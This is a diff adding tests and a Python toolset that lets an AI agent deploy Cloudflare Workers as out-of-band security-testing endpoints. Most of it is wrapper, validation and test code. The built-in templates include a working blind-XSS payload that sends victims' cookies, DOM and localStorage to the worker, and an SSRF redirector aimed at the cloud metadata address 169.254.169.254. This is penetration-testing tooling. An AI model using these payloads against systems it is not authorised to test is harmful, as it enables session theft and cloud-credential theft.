name="dn-oast-UPPER") + mock_exec.assert_not_called() + assert "Invalid worker name" in result + + @pytest.mark.asyncio + async def test_callback_deploy(self, toolset: Wrangler) -> None: + mock_proc = _mock_process(stdout=DEPLOY_OUTPUT) + with ( + patch("shutil.which", return_value="/usr/local/bin/wrangler"), + patch("asyncio.create_subprocess_exec", return_value=mock_proc), + ): + result = await toolset.deploy(template="callback", name="dn-oast-test123") + assert "deployed successfully" in result.lower() + assert "https://dn-oast-test123.myaccount.workers.dev" in result + + @pytest.mark.asyncio + async def test_deploy_failure(self, toolset: Wrangler) -> None: + mock_proc = _mock_process( + stderr="A request to the Cloudflare API failed", returncode=1 + ) + with ( + patch("shutil.which", return_value="/usr/local/bin/wrangler"), + patch("asyncio.create_subprocess_exec", return_value=mock_proc), + ): + result = await toolset.deploy(template="callback", name="dn-oast-test123") + assert result.startswith("Error") + + @pytest.mark.asyncio + async def test_custom_deploy(self, toolset: Wrangler) -> None: + mock_proc = _mock_process(stdout=DEPLOY_OUTPUT) + with ( + patch("shutil.which", return_value="/usr/local/bin/wrangler"), + patch("asyncio.create_subprocess_exec", return_value=mock_proc), + ): + result = await toolset.deploy( + template="custom", + name="dn-oast-test123", + worker_code='export default { fetch() { return new Response("OK"); } };', + ) + assert "deployed successfully" in result.lower() + + @pytest.mark.asyncio + async def test_redirect_target_passed_as_var(self, toolset: Wrangler) -> None: + # The redirect target must travel via --var, never into wrangler.toml + # where a crafted value could break out of the quoted string. + mock_proc = _mock_process(stdout=DEPLOY_OUTPUT) + with ( + patch("shutil.which", return_value="/usr/local/bin/wrangler"), + patch( + "asyncio.create_subprocess_exec", return_value=mock_proc + ) as mock_exec, + ): + await toolset.deploy( + template="redirect", + name="dn-oast-redir", + redirect_target="http://169.254.169.254/latest/meta-data/", + ) + args = mock_exec.call_args[0] + assert "--var=REDIRECT_TARGET:http://169.254.169.254/latest/meta-data/" in args + + @pytest.mark.asyncio + async def test_redirect_target_requires_scheme(self, toolset: Wrangler) -> None: + result = await toolset.deploy( + template="redirect", + name="dn-oast-redir", + redirect_target="169.254.169.254/", + ) + assert "full URL including scheme" in result + + @pytest.mark.asyncio + async def test_deploy_writes_config(self, toolset: Wrangler) -> None: + mock_proc = _mock_process(stdout=DEPLOY_OUTPUT) + written: dict[str, str] = {} + original_write = Path.write_text + + def capture_write(self: Path, data: str, **_: object) -> int: + written[self.name] = data + return len(data) + + with ( + patch("shutil.which", return_value="/usr/local/bin/wrangler"), + patch("asyncio.create_subprocess_exec", return_value=mock_proc), + patch.object(Path, "write_text", capture_write), + ): + await toolset.deploy(template="callback", name="dn-oast-test123") + + toml = written["wrangler.toml"] + assert 'name = "dn-oast-test123"' in toml + assert 'main = "worker.js"' in toml + assert "compatibility_date" in toml + # account_id deliberately absent: it comes from the env var contract. + assert "account_id" not in toml + assert "export default" in written["worker.js"] + + @pytest.mark.asyncio + async def test_auto_generated_name(self, toolset: Wrangler) -> None: + mock_proc = _mock_process(stdout=DEPLOY_OUTPUT) + with ( + patch("shutil.which", return_value="/usr/local/bin/wrangler"), + patch("asyncio.create_subprocess_exec", return_value=mock_proc), + ): + result = await toolset.deploy(template="callback") + assert "deployed successfully" in result.lower() + assert "dn-oast-" in result + + @pytest.mark.asyncio + async def test_no_url_reported(self, toolset: Wrangler) -> None: + # workers.dev disabled for the account: deploy succeeds but no URL. + mock_proc = _mock_process(stdout="Deployed dn-oast-x triggers (0.5 sec)") + with ( + patch("shutil.which", return_value="/usr/local/bin/wrangler"), + patch("asyncio.create_subprocess_exec", return_value=mock_proc), + ): + result = await toolset.deploy(template="callback", name="dn-oast-x") + assert "no workers.dev URL" in result + + @pytest.mark.asyncio + async def test_temp_dir_cleaned_up(self, toolset: Wrangler) -> None: + mock_proc = _mock_process(stdout=DEPLOY_OUTPUT) + rmtree_calls: list[str] = [] + with ( + patch("shutil.which", return_value="/usr/local/bin/wrangler"), + patch("asyncio.create_subprocess_exec", return_value=mock_proc), + patch( + "shutil.rmtree", side_effect=lambda p, **_: rmtree_calls.append(str(p)) + ), + ): + await toolset.deploy(template="callback", name="dn-oast-test123") + assert len(rmtree_calls) == 1 + assert "dn-wrangler-" in rmtree_calls[0] + + +# --------------------------------------------------------------------------- +# Tail +# --------------------------------------------------------------------------- + + +class TestTail: + @pytest.mark.asyncio + async def test_missing_auth(self) -> None: + with patch.dict(os.environ, {}, clear=False): + os.environ.pop("CLOUDFLARE_API_TOKEN", None) + os.environ.pop("CF_API_TOKEN", None) + result = await Wrangler().tail(name="test") + assert "CLOUDFLARE_API_TOKEN" in result + + @pytest.mark.asyncio + async def test_empty_name(self, toolset: Wrangler) -> None: + result = await toolset.tail(name="") + assert "required" in result.lower() + + @pytest.mark.asyncio + async def test_invalid_name(self, toolset: Wrangler) -> None: + with patch("asyncio.create_subprocess_exec") as mock_exec: + result = await toolset.tail(name="UPPER") + mock_exec.assert_not_called() + assert "Invalid worker name" in result + + @pytest.mark.asyncio + async def test_no_events(self, toolset: Wrangler) -> None: + mock_proc = _mock_process(stdout="") + with ( + patch("shutil.which", return_value="/usr/local/bin/wrangler"), + patch("asyncio.create_subprocess_exec", return_value=mock_proc), + ): + result = await toolset.tail(name="dn-oast-test", seconds=1) + assert "no events" in result.lower() + + @pytest.mark.asyncio + async def test_events_captured(self, toolset: Wrangler) -> None: + event = { + "outcome": "ok", + "logs": [{"message": ['{"method":"GET","url":"https://w.dev/probe"}']}], + } + mock_proc = _mock_process(stdout=json.dumps(event)) + with ( + patch("shutil.which", return_value="/usr/local/bin/wrangler"), + patch("asyncio.create_subprocess_exec", return_value=mock_proc), + ): + result = await toolset.tail(name="dn-oast-test", seconds=1) + assert "probe" in result + + @pytest.mark.asyncio + async def test_tail_error(self, toolset: Wrangler) -> None: + mock_proc = _mock_process( + stderr="A request to the Cloudflare API failed", returncode=1 + ) + with ( + patch("shutil.which", return_value="/usr/local/bin/wrangler"), + patch("asyncio.create_subprocess_exec", return_value=mock_proc), + ): + result = await toolset.tail(name="dn-oast-test", seconds=1) + assert result.startswith("Error") + + @pytest.mark.asyncio + async def test_seconds_clamped_and_timed_out_is_stop( + self, toolset: Wrangler + ) -> None: + # 999s would stream for minutes; it must be clamped to 60 (+10s + # overhead). The timeout kill is the designed stop mechanism, not an + # error: captured events still parse, and a bare timeout with no + # events is a clean "no events" result. + event = { + "outcome": "ok", + "logs": [{"message": ["clamped-event"], "level": "log"}], + } + mock_proc = _mock_process(stdout=json.dumps(event)) + + wait_for_calls = {"n": 0} + + async def timeout_once(coro, timeout=None): + # First wait_for (the stream window) times out; the second + # (reaping the killed process) succeeds. + wait_for_calls["n"] += 1 + if wait_for_calls["n"] == 1: + raise asyncio.TimeoutError + return await coro + + with ( + patch("shutil.which", return_value="/usr/local/bin/wrangler"), + patch("asyncio.create_subprocess_exec", return_value=mock_proc), + patch("asyncio.wait_for", side_effect=timeout_once), + ): + result = await toolset.tail(name="dn-oast-test", seconds=999) + assert "clamped-event" in result + + @pytest.mark.asyncio + async def test_timed_out_no_events(self, toolset: Wrangler) -> None: + mock_proc = _mock_process(stdout="") + + wait_for_calls = {"n": 0} + + async def timeout_once(coro, timeout=None): + wait_for_calls["n"] += 1 + if wait_for_calls["n"] == 1: + raise asyncio.TimeoutError + return await coro + + with ( + patch("shutil.which", return_value="/usr/local/bin/wrangler"), + patch("asyncio.create_subprocess_exec", return_value=mock_proc), + patch("asyncio.wait_for", side_effect=timeout_once), + ): + result = await toolset.tail(name="dn-oast-test", seconds=5) + assert "no events" in result.lower() + + +# --------------------------------------------------------------------------- +# List (Cloudflare REST API) +# --------------------------------------------------------------------------- + + +class TestList: + @pytest.mark.asyncio + async def test_missing_auth(self) -> None: + with patch.dict(os.environ, {}, clear=False): + os.environ.pop("CLOUDFLARE_API_TOKEN", None) + os.environ.pop("CF_API_TOKEN", None) + result = await Wrangler().list_workers() + assert "CLOUDFLARE_API_TOKEN" in result + + @pytest.mark.asyncio + async def test_list_success(self, toolset: Wrangler) -> None: + body = { + "success": True, + "result": [ + {"id": "dn-oast-abc12345"}, + {"id": "other-worker"}, + ], + "result_info": { + "page": 1, + "per_page": 2, + "total_count": 2, + "total_pages": 1, + }, + } + mock_response = MagicMock() + mock_response.status_code = 200 + mock_response.json.return_value = body + with patch("httpx.AsyncClient.get", new=AsyncMock(return_value=mock_response)): + result = await toolset.list_workers() + assert "dn-oast-abc12345" in result + assert "other-worker" in result + assert "created by this toolset" in result + + @pytest.mark.asyncio + async def test_list_paginates(self, toolset: Wrangler) -> None: + # The scripts endpoint paginates; follow result_info until done. + page1 = { + "success": True, + "result": [{"id": "dn-oast-a1"}], + "result_info": {"page": 1, "per_page": 1, "total_count": 2}, + } + page2 = { + "success": True, + "result": [{"id": "dn-oast-a2"}], + "result_info": {"page": 2, "per_page": 1, "total_count": 2}, + } + mock_response1 = MagicMock() + mock_response1.status_code = 200 + mock_response1.json.return_value = page1 + mock_response2 = MagicMock() + mock_response2.status_code = 200 + mock_response2.json.return_value = page2 + with patch( + "httpx.AsyncClient.get", + new=AsyncMock(side_effect=[mock_response1, mock_response2]), + ): + result = await toolset.list_workers() + assert "dn-oast-a1" in result + assert "dn-oast-a2" in result + + @pytest.mark.asyncio + async def test_list_empty(self, toolset: Wrangler) -> None: + body = {"success": True, "result": []} + mock_response = MagicMock() + mock_response.status_code = 200 + mock_response.json.return_value = body + with patch("httpx.AsyncClient.get", new=AsyncMock(return_value=mock_response)): + result = await toolset.list_workers() + assert "No workers" in result + + @pytest.mark.asyncio + async def test_list_api_error(self, toolset: Wrangler) -> None: + mock_response = MagicMock() + mock_response.status_code = 403 + mock_response.text = "forbidden" + with patch("httpx.AsyncClient.get", new=AsyncMock(return_value=mock_response)): + result = await toolset.list_workers() + assert "403" in result + + @pytest.mark.asyncio + async def test_list_network_error(self, toolset: Wrangler) -> None: + import httpx as _httpx + + with patch( + "httpx.AsyncClient.get", + new=AsyncMock(side_effect=_httpx.ConnectError("refused")), + ): + result = await toolset.list_workers() + assert "Error" in result + + +# --------------------------------------------------------------------------- +# Delete +# --------------------------------------------------------------------------- + + +class TestDelete: + @pytest.mark.asyncio + async def test_missing_auth(self) -> None: + with patch.dict(os.environ, {}, clear=False): + os.environ.pop("CLOUDFLARE_API_TOKEN", None) + os.environ.pop("CF_API_TOKEN", None) + result = await Wrangler().delete(name="test") + assert "CLOUDFLARE_API_TOKEN" in result + + @pytest.mark.asyncio + async def test_empty_name(self, toolset: Wrangler) -> None: + result = await toolset.delete(name="") + assert "required" in result.lower() + + @pytest.mark.asyncio + async def test_delete_success(self, toolset: Wrangler) -> None: + mock_proc = _mock_process(stdout="Successfully deleted dn-oast-test123") + with ( + patch("shutil.which", return_value="/usr/local/bin/wrangler"), + patch( + "asyncio.create_subprocess_exec", return_value=mock_proc + ) as mock_exec, + ): + result = await toolset.delete(name="dn-oast-test123") + args = mock_exec.call_args[0] + assert "delete" in args + assert "dn-oast-test123" in args + assert "--force" in args + assert "deleted" in result.lower() + + @pytest.mark.asyncio + async def test_delete_failure(self, toolset: Wrangler) -> None: + mock_proc = _mock_process(stderr="not found", returncode=1) + with ( + patch("shutil.which", return_value="/usr/local/bin/wrangler"), + patch("asyncio.create_subprocess_exec", return_value=mock_proc), + ): + result = await toolset.delete(name="dn-oast-missing") + assert result.startswith("Error") + + +# --------------------------------------------------------------------------- +# _run helper +# --------------------------------------------------------------------------- + + +class TestRunHelper: + @pytest.mark.asyncio + async def test_missing_binary_raises(self) -> None: + with patch("shutil.which", return_value=None): + with pytest.raises(FileNotFoundError): + await MODULE._run(["whoami"]) + + @pytest.mark.asyncio + async def test_timeout_kills_process(self) -> None: + mock_proc = _mock_process(stdout="") + wait_for_calls = {"n": 0} + + async def timeout_once(coro, timeout=None): + wait_for_calls["n"] += 1 + if wait_for_calls["n"] == 1: + raise asyncio.TimeoutError + return await coro + + with ( + patch("shutil.which", return_value="/usr/local/bin/wrangler"), + patch("asyncio.create_subprocess_exec", return_value=mock_proc), + patch("asyncio.wait_for", side_effect=timeout_once), + ): + returncode, stdout, stderr, timed_out = await MODULE._run( + ["tail", "x"], timeout=1 + ) + mock_proc.kill.assert_called_once() + assert timed_out is True + + @pytest.mark.asyncio + async def test_stdout_stderr_separate(self) -> None: + mock_proc = _mock_process(stdout="events", stderr="banner") + with ( + patch("shutil.which", return_value="/usr/local/bin/wrangler"), + patch("asyncio.create_subprocess_exec", return_value=mock_proc), + ): + returncode, stdout, stderr, timed_out = await MODULE._run(["tail", "x"]) + assert stdout == "events" + assert stderr == "banner" + assert timed_out is False + + @pytest.mark.asyncio + async def test_telemetry_disabled(self) -> None: + # The runtime sandbox must not emit wrangler telemetry: set the env + # var on every subprocess invocation. + mock_proc = _mock_process(stdout="ok") + with ( + patch("shutil.which", return_value="/usr/local/bin/wrangler"), + patch( + "asyncio.create_subprocess_exec", return_value=mock_proc + ) as mock_exec, + ): + await MODULE._run(["whoami"]) + env = mock_exec.call_args.kwargs["env"] + assert env["WRANGLER_SEND_METRICS"] == "false" + + @pytest.mark.asyncio + async def test_cf_alias_mapped_to_native_env(self) -> None: + # When only CF_* vars are set, wrangler still sees CLOUDFLARE_*. + mock_proc = _mock_process(stdout="ok") + with ( + patch.dict( + os.environ, + {"CF_API_TOKEN": "cf-tok", "CF_ACCOUNT_ID": "cf-acct"}, + clear=False, + ), + patch("shutil.which", return_value="/usr/local/bin/wrangler"), + patch( + "asyncio.create_subprocess_exec", return_value=mock_proc + ) as mock_exec, + ): + os.environ.pop("CLOUDFLARE_API_TOKEN", None) + os.environ.pop("CLOUDFLARE_ACCOUNT_ID", None) + try: + await MODULE._run(["whoami"]) + finally: + os.environ.pop("CF_API_TOKEN", None) + os.environ.pop("CF_ACCOUNT_ID", None) + env = mock_exec.call_args.kwargs["env"] + assert env["CLOUDFLARE_API_TOKEN"] == "cf-tok" + assert env["CLOUDFLARE_ACCOUNT_ID"] == "cf-acct" + + @pytest.mark.asyncio + async def test_output_truncated(self) -> None: + mock_proc = _mock_process(stdout="x" * 100_000) + with ( + patch("shutil.which", return_value="/usr/local/bin/wrangler"), + patch("asyncio.create_subprocess_exec", return_value=mock_proc), + ): + _, stdout, stderr, _ = await MODULE._run(["whoami"]) + assert len(stdout) <= MODULE._MAX_OUTPUT diff --git a/capabilities/web-security/tools/wrangler.py b/capabilities/web-security/tools/wrangler.py new file mode 100644 index 0000000..c3d437b --- /dev/null +++ b/capabilities/web-security/tools/wrangler.py @@ -0,0 +1,722 @@ +"""Wrangler: deploy Cloudflare Workers as custom OAST endpoints. + +Wraps the ``wrangler`` CLI (cloudflare/workers-sdk) to give the agent +attacker-controlled, programmable callback infrastructure at Cloudflare's +edge. Complements the passive OOB providers (``callback.py`` — webhook.site / +interactsh), which can only *receive* callbacks, with workers that can also +*serve content*: blind XSS payload hosting, custom response bodies, and 302 +redirectors for SSRF chain escalation. + +Templates: + callback — logs every request (method, URL, headers, body, CF geo + metadata) and answers 200 OK with permissive CORS. + blind-xss — serves a JS probe at ``/`` that collects cookies, DOM, + localStorage, origin and referrer from the *victim* page and + POSTs them back to ``/collect`` on the same worker. + redirect — answers 302 to a configurable target (SSRF filter bypass, + protocol downgrade, chained internal redirection). + custom — arbitrary worker code supplied by the caller. + +Auth is non-interactive and comes entirely from the environment, per +wrangler's own contract: ``CLOUDFLARE_API_TOKEN`` and +``CLOUDFLARE_ACCOUNT_ID``. The ``CF_API_TOKEN`` / ``CF_ACCOUNT_ID`` aliases +(the env contract used by the flareprox tool in this capability) are accepted +as fallbacks and mapped onto wrangler's names, so one credential pair drives +both tools. Nothing is persisted by this toolset — no wrangler login state is +created or required. + +The binary is installed by ``scripts/install_tools.sh`` and the runtime +Dockerfile; the ``wrangler`` preflight check in capability.yaml reports its +absence. +""" + +from __future__ import annotations + +import asyncio +import json +import os +import re +import secrets +import shutil +import string +import tempfile +from pathlib import Path +from typing import Annotated + +import httpx +from dreadnode.agents.tools import Toolset, tool_method + +_MAX_OUTPUT = 50_000 +_WORKER_PREFIX = "dn-oast-" +_NAME_SUFFIX_LENGTH = 8 +# Wrangler's own config validation (verified against wrangler 4.x): +# alphanumeric, lowercase, dashes and underscores, first character may not be +# a dash. Enforced client-side so an invalid name fails fast with a clear +# message instead of a wrangler parse error — and so a crafted name can never +# reach the generated wrangler.toml as anything but a plain identifier. +_NAME_PATTERN = re.compile(r"^[a-z0-9_][a-z0-9_-]*$") +_API_BASE = "https://api.cloudflare.com/client/v4" +# Compatibility date for generated wrangler.toml files. The templates only +# use stable Workers APIs (fetch, Response, console.log), so any recent date +# is safe; pinned rather than --latest so deploys are reproducible. +_COMPATIBILITY_DATE = "2025-01-01" +# Suppress wrangler telemetry from the runtime sandbox: keeps tool behavior +# deterministic and avoids outbound requests that disconnected deployments +# cannot make. +_BASE_ENV = {"WRANGLER_SEND_METRICS": "false"} +# Safety cap on list pagination: 20 pages x whatever the API's per-page size +# is. An account with more OAST workers than that has bigger problems. +_MAX_LIST_PAGES = 20 + +# --------------------------------------------------------------------------- +# Built-in worker templates +# --------------------------------------------------------------------------- + +_OAST_CALLBACK_WORKER = """\ +// OAST callback worker — logs every request and returns a configurable response. +export default { + async fetch(request) { + const url = new URL(request.url); + const headers = Object.fromEntries(request.headers.entries()); + const body = request.method !== "GET" && request.method !== "HEAD" + ? await request.text() + : null; + + // Log the interaction so `wrangler tail` can capture it. + console.log(JSON.stringify({ + timestamp: new Date().toISOString(), + method: request.method, + url: request.url, + path: url.pathname + url.search, + headers, + body, + cf: request.cf || {}, + })); + + return new Response("OK", { + status: 200, + headers: { "Content-Type": "text/plain", "Access-Control-Allow-Origin": "*" }, + }); + }, +}; +""" + +_BLIND_XSS_WORKER = """\ +// Blind XSS payload server — serves a JS payload that exfiltrates page data +// back to this same worker at /collect. +export default { + async fetch(request) { + const url = new URL(request.url); + + if (url.pathname === "/collect") { + const body = request.method !== "GET" ? await request.text() : ""; + console.log(JSON.stringify({ + type: "xss_exfil", + timestamp: new Date().toISOString(), + method: request.method, + headers: Object.fromEntries(request.headers.entries()), + body, + })); + return new Response("OK", { + status: 200, + headers: { "Access-Control-Allow-Origin": "*" }, + }); + } + + if (url.pathname === "/options" || request.method === "OPTIONS") { + return new Response(null, { + status: 204, + headers: { + "Access-Control-Allow-Origin": "*", + "Access-Control-Allow-Methods": "GET, POST, OPTIONS", + "Access-Control-Allow-Headers": "Content-Type", + }, + }); + } + + // Default: serve the XSS probe payload + const selfUrl = url.origin; + const payload = `(function(){ + var d = document; + var data = { + url: location.href, + cookie: d.cookie, + dom: d.documentElement.outerHTML.substring(0, 8192), + localStorage: JSON.stringify(Object.entries(localStorage || {})), + origin: location.origin, + referrer: d.referrer + }; + var x = new XMLHttpRequest(); + x.open("POST", "${selfUrl}/collect", true); + x.setRequestHeader("Content-Type", "application/json"); + x.send(JSON.stringify(data)); + })();`; + + return new Response(payload, { + status: 200, + headers: { + "Content-Type": "application/javascript", + "Access-Control-Allow-Origin": "*", + "Cache-Control": "no-store", + }, + }); + }, +}; +""" + +_REDIRECT_WORKER = """\ +// SSRF redirect worker — 302-redirects all requests to a configurable target. +// The REDIRECT_TARGET var is set at deploy time (--var REDIRECT_TARGET:). +export default { + async fetch(request, env) { + const target = env.REDIRECT_TARGET || "http://169.254.169.254/latest/meta-data/"; + const url = new URL(request.url); + + console.log(JSON.stringify({ + type: "redirect", + timestamp: new Date().toISOString(), + method: request.method, + from: request.url, + to: target, + headers: Object.fromEntries(request.headers.entries()), + })); + + return Response.redirect(target, 302); + }, +}; +""" + +_TEMPLATES: dict[str, str] = { + "callback": _OAST_CALLBACK_WORKER, + "blind-xss": _BLIND_XSS_WORKER, + "redirect": _REDIRECT_WORKER, +} + + +# --------------------------------------------------------------------------- +# Helpers +# --------------------------------------------------------------------------- + + +# ANSI escape sequences (wrangler colorizes even when piped) — noise for +# the LLM, so strip them from every output surface. +_ANSI_PATTERN = re.compile(r"\x1b\[[0-9;]*m") + + +def _clean(text: str) -> str: + """Strip ANSI color codes from wrangler output.""" + return _ANSI_PATTERN.sub("", text) + + +def _resolve_env() -> dict[str, str]: + """Resolve Cloudflare credentials with wrangler-native names. + + ``CLOUDFLARE_API_TOKEN`` / ``CLOUDFLARE_ACCOUNT_ID`` are wrangler's own + contract. The ``CF_API_TOKEN`` / ``CF_ACCOUNT_ID`` aliases (used by the + flareprox tool in this capability) are accepted as fallbacks so one + credential pair can drive both tools. + """ + api_token = ( + os.environ.get("CLOUDFLARE_API_TOKEN", "").strip() + or os.environ.get("CF_API_TOKEN", "").strip() + ) + account_id = ( + os.environ.get("CLOUDFLARE_ACCOUNT_ID", "").strip() + or os.environ.get("CF_ACCOUNT_ID", "").strip() + ) + return { + "CLOUDFLARE_API_TOKEN": api_token, + "CLOUDFLARE_ACCOUNT_ID": account_id, + } + + +def _auth_error() -> str | None: + """Return a setup message when Cloudflare auth is missing, else None.""" + env = _resolve_env() + if not env["CLOUDFLARE_API_TOKEN"]: + return ( + "CLOUDFLARE_API_TOKEN is not set. Create an API token at " + "https://dash.cloudflare.com/profile/api-tokens with Workers " + "Scripts Edit permission and export it (CF_API_TOKEN is also " + "accepted)." + ) + if not env["CLOUDFLARE_ACCOUNT_ID"]: + return ( + "CLOUDFLARE_ACCOUNT_ID is not set. Find your Account ID in the " + "Cloudflare dashboard sidebar and export it (CF_ACCOUNT_ID is " + "also accepted)." + ) + return None + + +def _binary_error() -> str | None: + """Return a setup message when wrangler is not on PATH, else None.""" + if shutil.which("wrangler") is None: + return ( + "wrangler not found on PATH. It is installed by the web-security " + "capability (scripts/install_tools.sh); install manually with " + "`npm install -g wrangler`." + ) + return None + + +def _validate_name(name: str) -> str | None: + """Validate a worker name; return an error message or None.""" + if not name: + return "Error: Worker name is required." + if not _NAME_PATTERN.fullmatch(name): + return ( + f"Error: Invalid worker name '{name}'. Use lowercase " + "alphanumerics, dashes and underscores, starting with a letter " + "or digit." + ) + return None + + +def _generate_name() -> str: + """Generate a short unique worker name with the dn-oast- prefix.""" + suffix = "".join( + secrets.choice(string.ascii_lowercase + string.digits) + for _ in range(_NAME_SUFFIX_LENGTH) + ) + return f"{_WORKER_PREFIX}{suffix}" + + +def _extract_worker_url(output: str) -> str: + """Extract the deployed workers.dev URL from wrangler deploy output.""" + for line in output.splitlines(): + stripped = line.strip() + if stripped.startswith("https://") and ".workers.dev" in stripped: + return stripped + return "" + + +async def _run( + args: list[str], + *, + timeout: int = 120, + cwd: str | None = None, +) -> tuple[int, str, str, bool]: + """Run a wrangler command; return (returncode, stdout, stderr, timed_out). + + Env is the current environment plus wrangler telemetry suppression and + the CF_* -> CLOUDFLARE_* credential aliases, so wrangler sees one + consistent credential contract regardless of which pair the operator set. + + stdout and stderr are kept separate: `tail --format json` streams events + to stdout while wrangler writes banners and errors to stderr, so callers + must be able to tell them apart. + """ + wrangler = shutil.which("wrangler") + if wrangler is None: + raise FileNotFoundError(_binary_error()) + + env = {**os.environ, **_BASE_ENV} + resolved = _resolve_env() + for name, value in resolved.items(): + if value and not os.environ.get(name, "").strip(): + env[name] = value + + proc = await asyncio.create_subprocess_exec( + wrangler, + *args, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE, + cwd=cwd, + env=env, + ) + try: + stdout, stderr = await asyncio.wait_for(proc.communicate(), timeout=timeout) + return ( + proc.returncode or 0, + _clean(stdout.decode(errors="replace")).strip()[:_MAX_OUTPUT], + _clean(stderr.decode(errors="replace")).strip()[:_MAX_OUTPUT], + False, + ) + except asyncio.TimeoutError: + # Kill and reap so no zombie is left behind; report whatever output + # was already captured — for `tail` the kill is the designed stop. + proc.kill() + try: + stdout, stderr = await asyncio.wait_for(proc.communicate(), timeout=5) + except asyncio.TimeoutError: + stdout = stderr = b"" + return ( + proc.returncode or 0, + _clean(stdout.decode(errors="replace")).strip()[:_MAX_OUTPUT], + _clean(stderr.decode(errors="replace")).strip()[:_MAX_OUTPUT], + True, + ) + + +def _combined(stdout: str, stderr: str) -> str: + """Merge wrangler stdout/stderr for display, stderr last, truncated.""" + output = stdout + if stderr: + output = f"{stdout}\n{stderr}" if stdout else stderr + return output[:_MAX_OUTPUT] + + +def _format_tail_output(output: str) -> str: + """Format `wrangler tail --format json` output into readable lines. + + Each stdout line is a JSON event with ``logs`` (console.log output), + ``exceptions`` and, for request events, ``event.request``. Both surfaces + are extracted so custom workers that never call console.log still show + the request that reached them. + """ + lines: list[str] = [] + for raw in output.splitlines(): + raw = raw.strip() + if not raw: + continue + try: + evt = json.loads(raw) + except json.JSONDecodeError: + lines.append(raw) + continue + + parts: list[str] = [] + + request = ( + evt.get("event", {}).get("request") + if isinstance(evt.get("event"), dict) + else None + ) + if isinstance(request, dict) and request.get("url"): + method = str(request.get("method", "GET")).upper() + parts.append(f"{method} {request['url']}") + + for log_entry in evt.get("logs", []): + if not isinstance(log_entry, dict): + continue + message = log_entry.get("message", []) + if isinstance(message, list): + text = " ".join(str(m) for m in message) + else: + text = str(message) + if text: + parts.append(text) + + for exc in evt.get("exceptions", []): + if isinstance(exc, dict) and exc.get("name"): + parts.append(f"{exc['name']}: {exc.get('message', '')}") + + if parts: + lines.append(" | ".join(parts)[:500]) + + return "\n".join(lines) + + +# --------------------------------------------------------------------------- +# Toolset +# --------------------------------------------------------------------------- + + +class Wrangler(Toolset): + """Deploy Cloudflare Workers as custom OAST endpoints. + + Wraps the wrangler CLI to deploy, monitor, list, and delete Workers for + out-of-band testing: blind XSS payload hosting, configurable callback + receivers, and SSRF redirect servers. Requires CLOUDFLARE_API_TOKEN and + CLOUDFLARE_ACCOUNT_ID (CF_API_TOKEN / CF_ACCOUNT_ID also accepted). + """ + + @tool_method(name="wrangler_status", catch=True) + async def status(self) -> str: + """Check wrangler availability and Cloudflare authentication. + + Verifies the wrangler binary is installed and the Cloudflare API + token is valid. Call this before deploying workers. + """ + binary_err = _binary_error() + if binary_err: + return binary_err + + auth_err = _auth_error() + if auth_err: + return auth_err + + # `whoami --json` exits non-zero when not authenticated, unlike plain + # `whoami` which prints a "not authenticated" notice with exit 0. + try: + returncode, stdout, stderr, timed_out = await _run( + ["whoami", "--json"], timeout=30 + ) + except FileNotFoundError as e: + return f"Error: {e}" + + if timed_out: + return "Error: wrangler whoami timed out." + + info: dict[str, object] | None = None + for line in stdout.splitlines(): + try: + parsed = json.loads(line) + if isinstance(parsed, dict): + info = parsed + except json.JSONDecodeError: + continue + + if returncode != 0: + if isinstance(info, dict) and info.get("loggedIn") is False: + return ( + "Error: wrangler reports not logged in. " + "Check CLOUDFLARE_API_TOKEN." + ) + return ( + "Error: token check failed (auth env vars are set but the " + f"token was rejected):\n{_combined(stdout, stderr)}" + ) + + return f"wrangler operational.\n{_combined(stdout, stderr)}" + + @tool_method(name="wrangler_deploy", catch=True) + async def deploy( + self, + template: Annotated[ + str, + ( + "Worker template: 'callback' (OAST request logger), " + "'blind-xss' (serves XSS probe + collects exfil), " + "'redirect' (302 redirect for SSRF chains), " + "or 'custom' (provide your own code via worker_code)." + ), + ] = "callback", + name: Annotated[ + str, + "Worker name. Leave empty for an auto-generated name.", + ] = "", + worker_code: Annotated[ + str, + "Custom worker JavaScript code. Only used when template='custom'.", + ] = "", + redirect_target: Annotated[ + str, + "Full redirect target URL incl. scheme (only for template='redirect').", + ] = "", + ) -> str: + """Deploy a Cloudflare Worker for OAST/blind testing. + + Deploys a Worker to Cloudflare's edge and returns its public + workers.dev URL. The worker is immediately available for receiving + callbacks, serving payloads, or redirecting requests. Use + wrangler_tail to check for incoming interactions, and wrangler_delete + to clean up. + """ + auth_err = _auth_error() + if auth_err: + return auth_err + + if template == "custom": + if not worker_code.strip(): + return "Error: worker_code is required when template='custom'." + code = worker_code + elif template in _TEMPLATES: + code = _TEMPLATES[template] + else: + return ( + f"Error: Unknown template '{template}'. " + f"Choose from: {', '.join(sorted(_TEMPLATES))} or 'custom'." + ) + + worker_name = name.strip() if name.strip() else _generate_name() + name_err = _validate_name(worker_name) + if name_err: + return name_err + + if template == "redirect" and redirect_target: + if not re.match(r"^https?://", redirect_target): + return ( + "Error: redirect_target must be a full URL including " + "scheme (e.g. http://169.254.169.254/latest/meta-data/)." + ) + + # Build the project in a temp directory; wrangler reads wrangler.toml + # from cwd. The account comes from CLOUDFLARE_ACCOUNT_ID in the env + # (verified: wrangler picks it up without a toml account_id key). + tmpdir = tempfile.mkdtemp(prefix="dn-wrangler-") + try: + wrangler_toml = ( + f'name = "{worker_name}"\n' + f'main = "worker.js"\n' + f'compatibility_date = "{_COMPATIBILITY_DATE}"\n' + ) + Path(tmpdir, "wrangler.toml").write_text(wrangler_toml) + Path(tmpdir, "worker.js").write_text(code) + + args = ["deploy", "--no-bundle"] + if template == "redirect" and redirect_target: + # --var keeps the target out of wrangler.toml entirely, so it + # can never break out of a quoted toml string. + args.append(f"--var=REDIRECT_TARGET:{redirect_target}") + + returncode, stdout, stderr, timed_out = await _run( + args, cwd=tmpdir, timeout=180 + ) + result = _combined(stdout, stderr) + if timed_out: + return f"Error: wrangler deploy timed out.\n{result}" + if returncode != 0: + return f"Error: wrangler deploy failed:\n{result}" + + url = _extract_worker_url(result) + if url: + return ( + f"Worker '{worker_name}' deployed successfully.\n" + f"URL: {url}\n\n" + f"Template: {template}\n" + f"Use wrangler_tail to monitor incoming requests.\n" + f"Use wrangler_delete to remove when done." + ) + return f"Deploy completed but no workers.dev URL was reported:\n{result}" + finally: + shutil.rmtree(tmpdir, ignore_errors=True) + + @tool_method(name="wrangler_tail", catch=True) + async def tail( + self, + name: Annotated[str, "Worker name to tail logs for."], + seconds: Annotated[ + int, + "How many seconds to listen for events (default: 10, max: 60).", + ] = 10, + ) -> str: + """Capture recent log events from a deployed 